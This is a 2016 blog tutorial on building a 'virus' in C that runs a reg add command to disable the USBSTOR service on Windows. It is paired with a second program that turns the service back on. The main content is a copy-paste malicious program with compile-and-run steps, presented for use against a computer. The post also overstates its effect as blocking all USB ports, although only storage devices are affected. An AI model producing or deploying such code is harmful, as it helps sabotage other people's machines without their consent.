Thursday 28 April 2016

Virus That Disable USB Port

Virus That Disable USB Port

Today, We are going to Create a "Virus that Disable your USB Port"



Please Don't try to Run this Virus on Your Own Computer. This will Disable your USB Port. I will not be Responsible For any Damage done to your Computer.

In This Post, I am Going to Show you How to create a simple "Virus". To Create This Virus We are going to use "C Language". Anyone with Basic Knowledge of C is able to Understand the working of this virus Program.

Once the Virus successfully Executed. It will Disable (Block) all the USB Port. As a Result you will not be able to use any USB device on Your Machine.



Prerequisite


1. A Computer.
2. Compiler.
3. Notepad.

Steps to Create Virus


1. Go to Start Menu.
2. Open Notepad.
3. Just Copy & Past the Code given below.

__________________CODE To Disable Port__________________

#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
_______________________________________________________

4. First Compile this code after Compile you will get Same name file in same Place with ".exe" Extension.
5. Execute that ".exe" file your Virus will run & disable all USB Port.


1. Go to Start Menu.
2. Open Notepad.
3. Just Copy & Past the Code given below.

__________________CODE to Unblock Port__________________

#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
________________________________________________________

4. First Compile this code after Compile you will get Same name file in same Place with ".exe" Extension.
5. Execute that ".exe" file your Anti-Virus will run & Unblock all USB Port.


________________________________Thank You________________________________


No comments:

Post a Comment